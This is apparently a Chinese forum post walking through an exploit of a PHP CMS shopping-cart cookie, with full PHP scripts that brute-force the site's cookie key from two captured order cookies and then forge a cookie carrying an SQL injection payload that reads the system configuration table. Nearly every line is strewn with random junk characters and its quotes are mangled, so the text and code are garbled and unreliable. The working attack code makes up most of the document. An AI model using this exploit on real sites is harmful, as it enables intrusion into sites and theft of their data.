www.xxx.com/plus/search.php?keyword=
# F, s5 g; H8 z6 j1 k: h' d# T在 include/shopcar.class.php中
6 Q9 A, j2 J0 O3 ~$ I4 a: N先看一下这个shopcar类是如何生成cookie的+ J% A7 Y2 V* L7 e/ ^& I; S+ ~; r
239 function saveCookie($key,$value)
8 u' ^$ Q6 Y, y6 P6 f7 c' w: H7 ?240 {; f7 c3 e, S, X n
241 if(is_array($value))
6 F2 R- h2 b/ g$ }2 |, r! L0 W242 {
: H0 j7 U% }7 m3 u& c) A243 $value = $this->enCrypt($this->enCode($value));( _% V: }6 J: f) r
244 }# u$ G" t# V* D( l9 [* f; p
245 else
7 m/ |, X' ^& F1 u6 K246 {) A7 a7 m0 p Q
247 $value = $this->enCrypt($value);
* N E; \0 L9 y) E! Z/ M+ r3 N248 }% P% M' U$ x0 y; ]8 J
249 setcookie($key,$value,time()+36000,’/');& N' x) q8 ?, J) r1 ^6 I
250 }
& p" w& o" |. ?) }. A2 E简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数, @1 ?, ]5 a3 P% g
186 function enCrypt($txt) k7 ]9 T, g T! C
187 {. x* T. _, B9 V9 S+ A+ q
188 srand((double)microtime() * 1000000);
3 q! C" w8 K L% j7 S8 j189 $encrypt_key = md5(rand(0, 32000)); _1 ?$ \ C7 }, ~8 E+ J8 K! h
190 $ctr = 0;
% Z, W, @3 M7 Z: Z# I: k) }2 z- k3 G191 $tmp = ”;6 f- L7 U9 }5 b, r- s: j
192 for($i = 0; $i < strlen($txt); $i++)
- ]* l' u; i/ ]7 O! S193 {
6 e& h7 b+ g A5 g194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 A, x* H9 k7 d" L0 g5 m# ~. C* W195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
! F; i' K7 e$ F" a% J1 k( f196 }
3 T9 f# |2 c) u% w( W197 return base64_encode($this->setKey($tmp));3 x9 Y, Z; i" e, _% M. P. C( z
198 }
7 W( n3 y: ^% q" A8 C3 p/ B213 function setKey($txt)4 J/ _5 l1 j& c) V2 I0 k c1 b, D3 W
214 {
" h3 {; E, P8 P4 O* n215 global $cfg_cookie_encode;) F. a/ H" v$ n0 l0 {
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
# n1 S+ k" s" N0 f217 $ctr = 0;
" Z' V/ `, g' l% W$ G% R218 $tmp = ”;1 Y- W. U$ M7 g" H
219 for($i = 0; $i < strlen($txt); $i++). J" V1 u: {: V/ e
220 {
* a* E7 G: x; }" T1 W221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 x9 d+ W7 z& O+ W1 D1 C+ h7 a
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
# ?0 P1 T; ^$ F% k' K& r" R223 }( w. }& b' D1 l& J: O
224 return $tmp;
* {" {" s$ |+ i) B+ R$ h% q225 }) x% `/ N. v j; v4 |
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
5 }* Q% \% t0 f Q% |9 a6 U3 C然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
( ?- p& F8 \: g0 ^: U' O$ X+ B& a具体代码如下:& y( R1 [# u4 c3 H# M9 ^
<?php7 G0 q! f; U, k
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here" c& l K% N4 z! X5 ^5 O
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
- w, u& N7 o- I, g$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
7 W/ @& e$ r; @) M' ofunction reStrCode($code,$string)
$ @5 _1 l; ~2 b8 I2 P{
0 e" ^; y, G. p5 X- U$code = base64_decode($code);% s$ u& ~4 z6 a; Y# P, w
$key = “”;
+ f" k8 t/ @8 lfor($i=0 ; $i<32 ; $i++)
$ v" u8 ~/ ?8 s- s: ^. D{
5 I5 r; s# B, |6 h9 `$key .= $string[$i] ^ $code[$i];
# t+ M- W6 `# ~$ t}; s3 G7 E% a Q' Q; _
return $key;) j1 a; o% Q+ l/ v. y% \
}
: O8 r5 n* B0 I' {* V( s" Xfunction getKeys($cookie,$plantxt); F! o) t8 i9 q) h* ^9 l! I0 Z* [# k
{
" \ k& p6 A F% \6 z6 F( n$tmp = $cookie;* \1 u8 d% a+ T8 e1 t) U
$results = array();5 @% w4 b; D/ t0 H$ \ c+ ~
for($j=0 ; $j < 32000; $j++)
+ z0 i; p5 U) M! Q4 [% {. j! `" W{
; O9 `6 J& J3 V0 {; V! O0 ^4 }: V* b! z
$txt = $plantxt;
$ G+ Q$ t; L( }; S% F i$ctr = 0;
7 b k( S- X5 n* ^7 T- \$tmp = ”;! j6 b% k6 K! R! S1 ?; N
$encrypt_key = md5($j);
3 y7 ]' l/ y8 ?7 y7 _for($i =0; $i < strlen($txt); $i ++)
! }& E. `2 H. b$ e8 n; m{
- w: m+ L+ l# w- H r" E) W% E$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- O# U1 W7 i8 h. _6 n" s- g8 |; h$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
% t: G. C* F2 ] g; g}7 Y& Q% C% J. c% }' s" i) g
$string = $tmp;" F+ ]- _/ h* J
$code = $cookie;4 P( z0 i. Q3 F5 [5 r' M7 n1 a
$result = reStrCode($code,$string);9 z1 Q3 y) { G* E' _! A% m
if(eregi(‘^[a-z0-9]+$’,$result))
7 M: l' P1 d+ {; p# ]; N{
- z9 m5 X3 P+ L5 Z* mecho $result.”\n”;
l1 C; G8 J. q0 b( g$results[] = $result;
6 Z8 Y; J: H( f6 t* D8 k) l}
% d3 O& B$ \3 }1 Q- Z}
+ a0 H" X2 @: f2 Zreturn $results;" l& L' D/ H+ {2 [3 d
}
% ?% V9 p, L. y) n u$results1 = getKeys($cookie1,$plantxt);
3 y7 V2 P8 ~: ~8 ]7 J; J1 `+ W$results2 = getKeys($cookie2,$plantxt);
9 Z( W% d; h) @ sprint “\n——————–real key————————–\n”;# w2 L, c* A8 x2 W) Y- \; @ d
foreach($results1 as $test1); c' O7 Y, l& r
{2 W6 b' \) {; y5 F! J5 p4 K
foreach($results2 as $test2)
, t- L' n* n: l& ]4 A, n{
* b+ d% D. Y d hif($test1 == $test2): _, ^1 i* Q' }. ]5 `2 ]+ Z( f- |
{
6 v, }2 l% \+ {# ~% L' Gecho $test1.”\n”;
4 w' Y5 ^8 p7 q Z7 L0 ]6 g}! ]) ~" [- U& Q0 z
}
& K: P: U$ v% f) u4 A! Y: J}# c7 E! j3 V$ V1 H
?>
6 h' v) \6 p' m( v e' Jcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,1 O e& p4 |# x
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1, k8 E3 S: {, v) S. h3 L
然后推算出md5(strtolower($cfg_cookie_encode))1 g7 Y& ?, k; Z( c
得到这个key之后,我们就可以构造任意购物车的cookie
: Y2 L# g! a( I6 Y接着看
; k j: y+ v; w I; F! M20 class MemberShops
* r) b7 z& T! l: E n( U' p3 J2 G21 {
5 f& r/ g+ k6 Z' R22 var $OrdersId;: V3 K6 [* w. c3 r) w6 }% z v
23 var $productsId;1 N- T% j( D: ~* I
24/ K8 ?7 M# s2 Q# F' F( v
25 function __construct(), M2 A/ G* d; c# @8 Y1 b' I
26 {
9 L& q0 ]1 d* l' h, a; n27 $this->OrdersId = $this->getCookie(“OrdersId”);
9 X* U; Q% s, @0 E& U0 L28 if(empty($this->OrdersId))9 u) ]8 S/ X' C: z" k7 e/ r5 M
29 {
6 N( Q# k4 L# e! ]1 @1 a% ~) F4 {( d30 $this->OrdersId = $this->MakeOrders();& \, W6 a2 `/ \' w
31 }9 c' p& a0 L9 t3 Y2 R+ O5 b6 Y0 s
32 }7 M( x+ M5 ?; a8 T
发现OrderId是从cookie里面获取的
: \6 Z2 b* d, n. q2 G然后
4 r8 M; D4 P. D/plus/carbuyaction.php中的- }0 i" ]: F: [+ I/ `
29 $cart = new MemberShops();" I3 R# K( s6 ]7 D) y [8 ~/ T, v
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
6 F$ e9 K* L Z+ T# _5 d$ O……& V0 z) ~* J5 a3 y1 z$ v
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
7 S, l, p k. ]接着我们就可以注入了
* d2 n! n7 r, e6 q) o. K9 k# N: D通过利用下面代码生成cookie:
! O2 |/ g) P- w. y<?php _0 I2 K6 y8 L5 V* X3 B
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″; I2 X( k @! N% p
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here& C+ e0 m n' M# \3 K5 g
function setKey($txt)- D% Y6 C! J7 X& `! I- \
{( B1 Y7 U$ o9 P3 |0 `# Q8 W
global $encrypt_key; ^) @# V5 T. m
$ctr = 0;
7 p2 c& K! \* X1 v$tmp = ”;; g% X' l0 o1 w8 w. s; d
for($i = 0; $i < strlen($txt); $i++)
1 N5 o+ N+ j- c4 v6 {) u{/ t! y# T6 d0 W! X" \" C1 e& B
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ ]* v* ^+ j p
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];- t }. I4 G e" H: ^( p
}6 `5 c+ Z# K% l4 n
return $tmp;
$ h- B" A& r# }' S! w/ L}
0 j3 i ]: V& [function enCrypt($txt)# u, j* f" O7 j" Z- E; O) E
{$ e4 C' L B( J$ f
srand((double)microtime() * 1000000);9 k& k8 l$ j: J# {* ~
$encrypt_key = md5(rand(0, 32000));- J9 H+ v; x) @8 s ]3 ?
$ctr = 0;4 v4 I3 V5 A, [( T
$tmp = ”;
) z, I" P/ B: efor($i = 0; $i < strlen($txt); $i++)3 d$ o. I/ _- U5 m/ z" B& ?
{# K7 A; B% N& s# |3 C9 P
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) v! l' B5 V2 v/ I, \$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);) I: Q8 B5 w N# S3 m! U
}
' V) f& K4 X. p1 y6 r5 preturn base64_encode(setKey($tmp));3 \- M. f4 {+ Q* ~% A2 i
}
' q& n2 S* ]/ e7 l0 r3 Qfor($dest =0;$dest = enCrypt($txt);)
2 J/ l" q; N- \5 K6 S. L6 U{8 U7 Y/ J2 J/ ^: \, L N
if(!strpos($dest,’+'))
/ w- ?7 y; F0 l+ v1 ?: r{
0 [$ a- _/ o3 c6 V& Ubreak;. l+ p* X9 w, J/ y' S# E+ g5 P- @
}
3 G+ i* T9 c+ y% f}* m! @. k/ t. \( }! ?5 l3 y
echo $dest.”\n”;& L9 L6 V+ x) j- } d
?>+ o: s/ v0 B: \& j) s
1 z. N% N, q& F( u4 v) A, G4 ]
|